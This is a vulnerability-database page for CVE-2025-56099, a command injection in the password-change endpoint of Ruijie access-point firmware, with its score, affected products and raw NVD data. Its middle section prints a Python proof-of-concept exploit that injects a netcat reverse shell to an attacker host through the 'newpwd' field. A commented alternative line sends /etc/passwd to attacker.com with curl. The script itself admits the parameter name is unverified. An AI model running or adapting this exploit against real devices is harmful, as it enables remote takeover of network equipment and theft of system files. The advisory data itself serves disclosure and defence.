Security Vulnerability Report
中文
CVE-2025-56099 CVSS 8.8 HIGH

CVE-2025-56099

Published: 2025-12-11 19:15:56
Last Modified: 2026-02-11 19:39:26

Description

OS Command Injection vulnerability in Ruijie RG-YST AP_3.0(1)B11P280YST250F allowing attackers to execute arbitrary commands via a crafted POST request to the pwdmodify in file /usr/lib/lua/luci/modules/common.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-yst250f_firmware:3.0\(1\)b11p280yst250f:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-yst250f:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-est310_v2_firmware:b11p221:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-est310_v2:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:reyee_os:221:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-est350_v2:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:reyee_os:219:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew300_pro:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-eap602_firmware:3.0\(1\)b2p55:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-eap602:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-YST AP Firmware 3.0(1)B11P280YST250F

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-56099 PoC - Ruijie RG-YST AP OS Command Injection # Target: Ruijie RG-YST AP (Firmware 3.0(1)B11P280YST250F) # Endpoint: /cgi-bin/pwdmodify # Vulnerability: OS Command Injection in common.lua def exploit(target_ip, target_port=80, attacker_ip="ATTACKER_IP", attacker_port=4444): """ Exploit OS Command Injection to achieve RCE This PoC demonstrates injecting commands via pwdmodify endpoint """ url = f"http://{target_ip}:{target_port}/cgi-bin/pwdmodify" # Payload to create reverse shell # Using standard netcat reverse shell technique reverse_shell_payload = f"nc {attacker_ip} {attacker_port} -e /bin/bash" # Alternative: Execute command and exfiltrate data # cmd_payload = "cat /etc/passwd | curl -X POST -d @- http://attacker.com/exfil" # Prepare the malicious POST request # The actual parameter name needs to be identified from the vulnerable function data = { "oldpwd": "admin", "newpwd": f";{reverse_shell_payload};" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload: {reverse_shell_payload}") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[*] If vulnerable, check listener on {attacker_ip}:{attacker_port}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56099", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:55.860", "lastModified": "2026-02-11T19:39:26.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-YST AP_3.0(1)B11P280YST250F allowing attackers to execute arbitrary commands via a crafted POST request to the pwdmodify in file /usr/lib/lua/luci/modules/common.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-yst250f_firmware:3.0\\(1\\)b11p280yst250f:*:*:*:*:*:*:*", "matchCriteriaId": "0D863EA4-61BB-4706-8AB6-BE2AB6405236"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-yst250f:-:*:*:*:*:*:*:*", "matchCriteriaId": "A13295C6-FCEA-46F9-9344-64A8294A2E69"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-est310_v2_firmware:b11p221:*:*:*:*:*:*:*", "matchCriteriaId": "B88312BA-36D6-4C06-BD5B-7F18B437FB96"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-est310_v2:-:*:*:*:*:*:*:*", "matchCriteriaId": "9461FE15-EDE8-4E75-97F6-A5C67D99A092"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:reyee_os:221:*:*:*:*:*:*:*", "matchCriteriaId": "FB71150E-3E99-458B-B961-2FA4176C0E38"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-est350_v2:-:*:*:*:*:*:*:*", "matchCriteriaId": "A00D8E4C-F07D-4594-8F3E-C3B58F2B6712"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:reyee_os:219:*:*:*:*:*:*:*", "matchCriteriaId": "1C2ECCE3-9280-4BE7-9F93-D7EFD803E7F3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew300_pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "76F60F45-CF3C-4E10-AFAC-231318B1182F"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-eap602_firmware:3.0\\(1\\)b2p55:*:*:*:*:*:*:*", "matchCriteriaId": "54D9F162-AE62-405B-BACF-95AB35C3F94B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-eap602:-:*:*:*:*:*:*:*", "matchCriteriaId": "43BC34C1-E257-4D67-ABA4-2AA6DD533275"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EjgEtJ5yojhDpEoT-PbidhsBzsbVnT-D-32qK1bCrQN3-g?e=cVRYgN", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/ETaD7apCrPFLtMj473NHV2gBaYrKV9A4ZZKMfyWgC949Zw?e=iyjx5g", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56099.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}